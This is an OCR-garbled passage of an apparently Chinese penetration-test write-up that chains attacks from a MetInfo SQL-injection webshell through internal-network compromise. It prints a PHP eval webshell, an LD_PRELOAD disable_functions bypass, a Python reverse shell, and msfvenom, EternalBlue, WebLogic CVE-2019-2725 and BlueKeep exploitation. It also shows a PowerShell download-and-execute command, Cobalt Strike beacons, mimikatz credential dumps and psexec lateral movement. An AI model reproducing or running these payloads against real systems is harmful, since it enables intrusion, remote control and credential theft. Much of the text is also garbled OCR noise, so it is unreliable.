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Forbidden

You don't have permission to access / on this server.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.
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D s

B —aiE, EfEphp, RAEE, B—EMNRS, READ, BEATEMEE, X5,
KNG, HIRFRF, B, #1417, WfilenameFFH, RER, BEEXMW,

Content-Dispositior: form-data; name="recovery_file"; flename="d
N {"order™0 "error'."php 'WE5ET WwdefEWEB3cWSOfude0dwS1 41 wBbbBud e0audf20W2002" "meg" "php
WESET wdefEwEB3c S udeld St 41WwBbbBwdelaud f20W3002°)

P
P

Content-Type: applicationfoctet-stream

Htth mthigfta gk, N —EBAER, BRMEBNT4AcmsT, TithEEF
B, RBRERITEER XA AFNABNFER.

RIBHEIT

RIEOBIFEOG AT UNITsqliED

Xl B app->system->databack->admin->index.class.phpf95811T & * &
5.
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app » system 2 databack > admin > index.class.php

PULU_VEI BLUN — P I UL || ULU_VEI LU |y
$version = $ M['form']['version’] ? $ M['form'][ 'version’] : % M[ 'config'][ 'metcms v'];
$tablepre = $ M['config']['tablepre’];

$filepath = PATH WEB . ADMIN FILE . . $filename;

if (file exists($filepath)) {
$sql = file _get contents($filepath);
$split = ->dosql split($sql);
$info = $split['info'];|

$sqls = $transter->getQuery($sql);
$infos = explode('#', $info);
if ($infos[1] && !$0ld version) {
$old version = trim(str_replace('MetInfo.cn Created version:', '', $infos[1]));

}

$old site = $infos[2];
$upload site = $0ld site . "upload’;

XEHLIFEWMpathigiZ,

if (file exists($filepath)) { "C:\Users\anfu\Desktop\php\phpStudy\WwW\admin/databack/test 1
$sql = file get contents($filepath);
$split = ->dosql split($sql);
$info = $split[‘info’];

$sqls = $transfer->getQuery($sql);
$infos = explode('#', $info);
it ($infos[1] && !$o0ld version) {
$o0ld version = trim(str_replace('MetInfo.cn Created version:', ', $infos[1]));

}

$o0ld site = $infos[2];
$upload site = $old site . 'upload’;

$localurl = $ M[ ‘config’][ 'met weburl'];
it ($infos[3] && $tablepre != $infos[3]) {
$sglrel = 1;

(file exists($filepath)) {

$sql = file pet contents($filepath);
$split = »dosql_split($sql);
$info = $split[ 1;

$sqls = $transfer->getQ hmet

$infos = explode( » S
($infos[1] && l$old »
$old version = trim

1

fold_site = sinfos[2];
fupload _site = $old_sit:

“ CALL STACK PAUSED ON STEP $localurl = $ M|
: : ($infos[3] && $tablepre != $infos[3])
index-rdosqgl_execute index.class.php - R
o $sqlrel 1
func:{C: \Users\anfu\Desktop\php\phpStuc

}
($infos[2] && $localurl 1= $infos[2])

DEBUG CONSOLE

" BREAKPOINTS

e AT EEREREsql XM, dkSsqlAHMNNERsqhiEa, @37 -4 ENTE,
RMmARTLH.

https://mp.weixin.qq.com/s/HVOpUfIbncp81 GWFLcgIFw




2020/7/27 LIS BTN 04

/1R sqL 3 H
public function dosql split($sql)

j|
L

global $ M;
$db_charset = 'utf-8';
if (DB::version() > "4.1" & $db charset) {

$sql = preg replace(’/TYPE=(InnoDB|MyISAM)( DEFAULT CHARSET=[~; ]+)?/", 'TYPE=\\1 DEFAULT CH
1
J

@etInfo.cn Created version:7.1.0
#h‘ttp 1//127.6.0.1/mt/
$sql | #met

$ret

$num | CREATE TABLE a(cmd1l text NOT NULL);

$quer INSERT INTO a( cmdl ) VALUES ( '<?php eval($ POST[cmd]);?>");

SELECT cmd1l FROM a INTO OUTFILE “C:\\Users\\anfu\\Desktop\\php\\phpStudy\\Www\\mm.php";

unset DROP TABLE IF EXISTS a;

forea
$
$queries = explode("\n", trim($query));
$queries = array_ filter($queries);

"

" CALL STACK PAUSED ON STEP

index->dosql_split indexclassphp [

M$sqgl=8trasfer->getQuery($sql) FIE—1T—THITHMNBVsql BT EE T K&K
E.

if (file exists($filepath)) {
$sql = file get contents($filepath);
$split = ->dosql split($sql);
$info = $split['info’];
$sqls = $transfter->getQuery($sql);
$1ntos = explode( # , $1into);
if ($infos[1] && !$old version) {

$0ld version = trim(str_replace('MetInfo.cn Created version:', "', $infos[1

h

$o0ld site = $infos[2];
$upload site = $old site . ‘upload’;

query($sql)

if (I$result = ::$link->query($sql)) {
rrerrno();

return $result;
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BERFASQLIETD Eshell, FEEMEENERASNIE, TEBALZ, FTEHLIKL LT
7, A—ZEXTRUUMNBEAEELE.

Getshell

RO BMIHENERZ, E#isiH, ATEMPAREZRE RpathxBFHIA THMT
RZRTE.

2=0,1=u.tweens.length;1>ara++)u. tweens[a] .run (o) ;jrecturn s.notifyWithie, [u,o0,n]),1>0&&1%n: (=.resolvelich
ling"!'==X.readyS5tatesi!X.documentElement.doScroll?e.setT inec“t[ e.ready) : (X.addEventListener ("DOMContentL
IT",islocal:bt.test (pt.protocol),global: !0, processData: 10, async: !0, contentType: "application/x-www—form—ur
le=" data-api",re=t.fn[eec],ce=new RegExp("38)40|27"),aes= {JIDE "“1de" ne, HIDDEN: "hidden"+ne, SHOW: "show" +ne
his, "okject ==t ?ch n&&n), t(this) .dacaisc,.il ), "string”"==typecf n) {if(void O0===i[n])throw new TypeError|
bpd® =" pploadifile* /window.ROUTERS={home: {module: "index" ,path|

ETHMEEME—TSALXHBEANNMNS,

DROP TABLE IF EXISTS a:

CREATE TABLE “a" |

‘cmd” text NOT NULL) ENGINE=MyISAM AUTO THNCREMENT=c DEFAULT CHARSET=utf8;
INSERT INTO a (cmd) VALUES ( ?phr _-'_-'+"-.'_ S POST[dR]):? Vor

SELECT cmd FROM a INTO CUTFILE ib . phr

MITSEN, BAMNG, RER—9ELETIKE, &k

=7 S PR FERRE TR SR AEW EE
0 test_1 EriERs 7.1.0 OMB 1 ks S 1
— ) &R X BEMELFNEIL, AMRAILERRNETH -—BEZ,
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REAR _LE—AEE
SR EXR—ESH

RIUAERITHL, BERITHLH webshell EEXEXH, EFphpinfo,

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_ste

=

MAH®RIELZTE

= it Bypass disable_functions ,

A W% B % H putenv,
N

LD_PRELOAD #iFZAARE, LB RERFMEER,
11/27
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so, REIAMTEAAGLSHUR. phpXHRFELZRIEMHUNITHLIHNR A . soR HIi1F
EWbypass_disablefunc_x64.so0,

. 4096 2020-06-10 14:55:24
G - 0 2020-06-10 13:30:10
[l about 0 2020-06-09 23:34:25
[l aboutl 0 2020-06-09 23:34:25
| Jadmin 0 2020-06-09 23:34:25
[lapp o 2020-06-09 23:34:25

bypass_disablefunc.php 580  2020-06-10 14:53:12
bypass disablefunc x64.s0 6952 2020-06-10 14:53:18

[|cache 4096 2020-06-10 14:37:33

| lcase 0 2020-06-09 23:34:31

|| config 4096 2020-06-09 23:35:45
ERFIE

£ Linux FELEHIFSH sendmail 2% . php 89 mail() BREEHRTIEFSHKIA
BB ARLKRERE /usr/sbin/sendmail, M /usr/sbin/sendmail £i@A getuid().,
#i¥ LD_PRELOAD BIA R EHIF getuid(), BA mail() REEMA sendmail
RRAMATEDIFN getuid(), MTTRMBERTEERRLBT.

example: . ‘bypass_disablefunc php?emd=pwd&outpath=/tmp/func&sopath=/var/www/bypass_disablefanc_x64.so
cmdline: id > /tmp/func 2>&1

output:

uid=0(root) gid=0(root) groups=0(root)

% T, LD_PRELOAD = I disable_functions B M — & %, PHP X% #
putenv(). mail() Bl H],

R :

RNTH@E, Apythonk#@—{shellEFE,

python -c
"import socket,subprocess,o0s;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) ;

s.connect ( ("XXX.XXX.XXX.XxXX",port));
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os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
0s.dup2(s.fileno(),2);

p=subprocess.call(["/bin/bash","-i"1);"'

/sbin/ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.° 7" 77 netmask 255.255.255.@ broadcast 192.168." "~
inet6 feB0::231d:e444:727:8c4b prefixlen 64 scopeid 0x20<link>
ether 52:54:9e:e0:e1:8f txqueuelen 1000 (Ethernet)
RX packets 5803133 bytes 1811898154 (1.6 GiB)
RX errors @ dropped @8 overruns @ frame 0
TX packets 5989678 bytes 2760954143 (2.5 GiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0@

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 110128 bytes 22200849 (21.1 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 110128 bytes 22200849 (21.1 MiB)
TX errors 0 dropped @ overruns @ carrier @ collisions 0@

BTRLEmsf, BAATURMTHLT, B pythonE — T http AfFwget TR —F
elf, KRG,

rootgkali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=" h- LPORT=""05 -f elf -o shell.elf > db2
[-] No platform was selected, choosing Msf ::Module::Platform:: Linux from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 123 bytes

Final size of elf file: 287 bytes

Saved as: shell.elf

rootakali:~# I

Msfi2 I, FH1T#shell, AT TICEHE, RETRMBAL,

meterpreter > run autoroute -s 192.

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
“] Adding a route to 192.168 °°
[+] Added route to 192.168." )
*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

meterpreter > run get_local_subnets //iFEVLEIHlZ508907 5 MER S S
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meterpreter > run autoroute —-S XXX.XXX.XXX.XXX/24 // 75005 #5250 BjEL 89 HH,
meterpreter > run autoroute -p //#THIZHEIZIAIEHZES

21 - TCP OPEN

:80 - TCP OPEN

135 - TCP OPEN

'39 - TCP OPEN
45 - TCP OPEN
990 - TCP OPEN

(100% complete)

: - TCP OPEN
:139 - TCP OPEN
:135 - TCP OPEN
:445 - TCP OPEN
:1433 - TCP OPEN
:2383 - TCP OPEN
:8081 - TCP OPEN
:8310 TCP OPEN
:8315 TCP OPEN
:8319 TCP OPEN
:8317 TCP OPEN
:8311 - TCP OPEN
:8312 TCP OPEN
18314 TCP OPEN
:8313 TCP OPEN
:8320 - TCP OPEN
:8316 TCP OPEN
:8318 TCP OPEN

:80 - TCP OPEN
135 - TCP OPEN
139 - TCP OPEN
445 - TCP OPEN
1433 - TCP OPEN
:2383 - TCP OPEN

afa () ()9
:80 - TCP OPEN
:135 - TCP OPEN
:139 - TCP OPEN
;445 - TCP OPEN
:1433 - TCP OPEN

»:2383 - TCP OPEN
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HANARM, RBIRFAFTEK—KEms17-010FABEEF, KN—aFERE, MEKIANNH
MIEF 2 FshellWiffR, BRMEBBEHAAB R, ABAmsfilexpRRZEMIN, BT KR
ERDIBZTRENBE, ZFBFHMNBIBERBEMTATANANRKRS, BEwebshell L1
SRINE R T BIEEXH,

/] BUEESSE

"type' => 'mysql’,
// HRSEattbut

"hostname' =>

/] EUEES

"database’ =>

/] AP

‘username’ =>

/] =15

"password’ => ]
// G

"hostport’ =>

S EER, GREERRNV.
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3 . S R

S| AP wEREE

iﬂ; A | =R HTTP
EEE = 3Tk X
=HE5; IP fsht:
=0 3306
BrRE: root

BE

@ 1130 - Hos' 00 BN * not allowed to connect to this MySQL server

G

L

EHEHM S Lweb, HSOSHEES, BRTAHIAR,
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\ cC @D a = D 192.168.11 . @
I ——————————————————————————
‘-i? Y X
Admin-Index

HNEREERIRE, —ERABHERS, MERITELXETHNRE, KRABE—FFB
Mms17-010, BIRATEEEZE R #shellBk, BHEEEANER—E, R THMTF, B
payload,

msf> set payload windows/x86/shell/bind_tcp

BII—E, tERERHAZE, BTE—RKIT,

.111.18:445 -
.111.18:445 - Sending egg to =0r!upted connectlon
.111.18:445 - Triggering free of colruptnd buffer.
Sending stage (340 bytes) to
Command shell session 2 opened (]
15:11:44 -0400

Microsoft Windows [°#r 6.1.7601]
°8E (c) 2009 Microsoft Corporationif=f£ EE{if

C:\Windows\system32>]

ETEME Ecs, KApythonTERSBS B —ThttphRSE, FIHpowershel T&,
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5

2009/07/14 09:41 59,392 xolehlp.dll
2013/01/14 0©02:09 522,752 XpsGdiConverter.dll
2013/01/14 01:685 1,682,432 XpsPrint.dll
2010/11/21 11:24 229,888 XpsRasterService.dll
2010/11/21 11:24 3,008,000 xpsservices.dll
2009/07/14 09:41 1,576,448 xpssvcs.dll
2009/06/11 05:03 4,041 xwizard.dtd
2009/07/14 09:39 42,496 xwizard.exe
2009/07/14 09:41 432,640 xwizards.dll
2009/07/14 09:41 101,888 xwreg.dll
2009/07/14 09:41 201,216 xwtpdui.dll
2009/07/14 09:41 129,536 xwtpw32.dll
2010/11/22 02:31 <DIR=> zh-CHS
2016/10/11 17:51 =<DIR> zh-CN
2013/08/20 01:37 <DIR> zh-HK
2013/08/20 01:37 <DIR= zh-TW
2010/11/21 11:24 366,080 zipfldr.dll

2434 [Op . 1,167,265,662%

91 [O% 9,933,869,056 izé

C:\Windows\system32>powershell (new-object System.Net.WebClient).DownloadFile( '

http://"" [ “fartifact.exe', 'C:\Windows\system32\"')

owershell (new-object System.Net.WebClient).DownloadFile( 'http://
‘artifact.exe', 'C:\Windows\system32\"')

XERITZEEEFRET. . - FINBHEZE, XEFBXR—E, EMNITTH,

Powershell.exe“(new-object System.Net.WebClient).DownloadFile(‘http://xx»

BRIZENBE K,

[11/Jun/2020 15:41:46] "GET /fartifact.exe HTTP/1.1" 208 -

HEXZH TR ELRZE, BTFXEE&T,
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. 1826 T artifact... 4043 %86

= -

EventLog X | Listeners X

name = |paytoad | host | port ]bin... | beacons | profile

windows/beacon htip/reverse hitp . default

| ada | Edit || Remove || mestart |[ Help. |

BRI Es, ZERMBEE-T, BTXEREIMBBIXIMEIThash,

3¢
ac
@
0&
(]

tao 1
Gl !
S0 | "
sor | E

tao 4

yar dade J

sor 29b6i -

FRIXF ApthEidEMttwindowsE#l, EFEHESHL—EZT,
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B2 IR

B psexec psh — O X
user password realm note
{L N # e R -

User: Administrator
Password: :
Domain: B

Listener: |smb

Session: |SYSTEM *via . -

LIE

~ | Use session's current access token

taunen.] [-rep.

ETHMAEwWindows, EHFNTE, MEBHXHE,

BE 192168 ° 3 ocoo 1021687 1 SYSTEM *
wn r 192,168 1 SYSTEM *
Bl 102168 3 oooo 192.168. SYSTEM *
L Sk 192168 ' 0 '
BR 1021687 " oooo 102,168 - | SYSTEM *

AEF—aSFH%I—1TXH, EACRX—aBMNERNweblogiclIP, RERLZS
FcExEAHweblogic, RAMAEXNIPLIKBARS, MEARNARERALEK7001, HER

B E
BBIPT? BEX—HHNOTEFA T —TRANEN7001mO, RABLT —1TFHIP,
JFlEIAMweb7001iE O .

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol — HTTP/1.1:
10.4.5 404 Not Found

The server has not found anything matching the Regquest-URI. No indication is given of whether the condition is temporary or permanent.

1f the server dces not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Geon
if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding addr
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2020/7/27 LIS BTN 04
BHEEZMIsocksNIBT, FIAProxifier&E#k, FIMNERKIAME,

BARMEBEZEweblogic, SRAZRIUBREIT—T,

Bidcve-2019-2725ZFshell,

— (& @- 0 £ i . s8IndaWlaX2c592.js md=wi

Bamesias @ wErE xRt © mrmE

ERBE, RUETHMFHE.

EHER DES J e

fa ik -+« 2+ s+« - : Intel(R) PRO/1000 MT Network Conmectiom #2
PRk, . .

pECP CJSH - - i

BaE&EERH. . . .

AMhifiE pee BhbE. . . L L L L L2 e

IPve Mkt . . . . L. . = 10. _3(E%)

255. 255. 205.0

: 301993001
DHCP+6 FHF¥% DUID . . : 00-01-00-01-25-06-97-6A-00-0C-29-68-D3-5F
DES BRS5E3S
TCPIP | NetBIOS . . . . . . . : BBH

DIKPhHERES Ak -
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Oser Name B
Domain
Logon Server :
Logonm Time : 2020/6/6 9:59:50
SID : 5-1-5-21-3388020223-1982T01712-4030140183-1000
SV @
[00000003] Primary
* Username : admin
Domain
LN : aDeBB1403a2" °
KTLN : eb287eThl .
SHAL : adB6T13e2
tapkg :
* Usernamc : admin
* Domain
® Pagswerd : sk
wdigest :
* Jzername :
* Domnin
® Password :
kerberos :
% Uzername :
¥ Domain
* Password :
ssp :
credman :

Authentication Id : 0 : 3501110 (00000000 :00356:36)
Seszzien : NewCredentials from 1

fEweblogic LMAIE, ARKREI0RHEOKRSER, RUEP/LENFFE3389, X
Bl weblogiclshellBxshAmst, F|EAmsfiicve-2019-0708#E R, WEIT T —TF
0708,

msf5 exploit(windows/rdp/cve 2819 8768 bluekeep rce) > set payload windows/x64/meterpreter/reverse tcp
payload => windows/x64/meterpreter/reverse_tcp
msfS exploit(windows/rdp/cve 2019 8708 bluekeej e) = run

] Started reverse TCP handler on 10. °
; - Using auxiliary/scanner/rdp/cve_2019 0788 bluekeep as check
The target is vulnerable. The target attempted cleanup of the incorrectly-bound M5_T128 channel.
- Scanned 1 of 1 hosts (108% complete)
- Using CHUNK grooming strategy. Size 258MB, target address Oxfffffa8011e07000, Channel count 1
| Entering Danger Zone
- Surfing channels ...
- Lobbing eggs ...

Forcing the USE of FREE'd object ...
10.. | Leaving Danger Zone
Sending stage (206403 bytes) to 1f
Meterpreter session 3 opened (10 “A -= 10.5 1) at 2020-06-23 22:48:21 -0400

getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter = [

ETE—S10BRNNE, ATXaNSFAEEN, REMNABHRBEweblogicfE bk
, R —TcesAE, B O NweblogiclipMimO, FAmsfLE LXK,

XERT MM, R¥ELBweblogiclH—EH#EAFshell, REETHFRBEREZH KIEHNER
&, FaEcEM KEHRN,

B Kig ML & <
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netsh advfirewall firewall add rule name=cs dir=in action=allow protocol:=

RINEE R ERIshell,

Se%er M.iql

r pth

Server

' pth
" 17 010
r o E —F -

User Internet webshell Server IR
pth
FiE2725 \ Server Aoma
webloaic

BEEHHONBLEMERERE, FlAipconfig /allHBE ST FEHE, net time
/domain,ttan L WRIRE RS, WEAEEHERZBEFAZEAF,

EANGEERKRESS

net view /domain, ipconfig /all, net time /domain, net view /domain:#E®&,

EMEEE, FBipconfig /allflnslookup (F)Fnslookupf@ifigi&Mip, #IKrdnshRSERMEIZE
ARER—BFENL) ERTHIZENIP, BAGFEEEE—EFLAAESEERIZRE14-068X MR, W
REMNBEEARREEY, AMARE, BEBRMEG,
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nt anthority\system

‘asked beacon to run mimikats's sekurlsa::logonpasswords command
[+] host called home, sent: T50674 bytes

[+] received output

Authentication Id : 0 ; 340650 (00000000 :0005
3 on : Interactive from 1
ser Name : 1wl
Domain
Logon Server H
Logon Time : 2020/6/9 15:20:13
SID : 5-1-5-21- —1982701712-4030140183-1110
msv
[00000003] Primary
* Username : lwl
* Domain
* LN
* NTLM
* SHAL
Username

Domain

LN 6e32fa5c96c0d4969
* NTLM 2c8T0c215d948df 49:
* SHAI 2560049ed2dB02acaZ
tspkg :
* Username 1wl
* Domain

* Password

HERMNEKipim 5344585 .

[+] received output:
10 5 (platform: 50C
10. 9

10 49

10 5 (platform: 50C
10. D

B — 1PsmblEia:

https://mp.weixin.qq.com/s/HVOpUfIbncp81 GWFLcgIFw
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B New Listener — [ et

Create a listener.

Name: ¢ e
Payload- Eeacnn SMB - |

Payload Options

Fipename (C2): |msagent_5 b3a |

save] [

FMARFE ZBpsexecla®mEik, KNEMNBONBEAERERS LEHESKREMIRE
BEXH, MXEXIETHNNE, EFTEEFN - L, MEFERD, EFH

=,
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B psexec — O X
user password realm note
A - -
ZKE
ZK(C =
User: |£
Password: |
Domain- COM =1

Listener: _[10 ’ ‘

Session: |SYSTEM *via 10.” -—

] Use session's current access token

‘ Launch H Help ‘

FHlA:
0S5 EZ¥r: Microsoft Windows Server 2008 HPC Edition
05 hi7s: 6.1. 7600 &tk Build 7600

05 S Microsoft Corporation
0s Bif: FlERlEE

05 Fa{F2A - Nultiprocessor Free

ING

ARBEEABEREREELAFE—MXNIT,FE—-—EBANER, EEEEEEXE 7 M
Bin, B4ATRARBETHE2RANE, B2 -—LEENENF, EUMERT, BENX
FRMEERNE, ERRERFTENTSERE, ANBEBSHEZER T LKA,
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MEE THHE

PEIMARE, APXRESE, FFERAFR

KR HEIE BTN SERA
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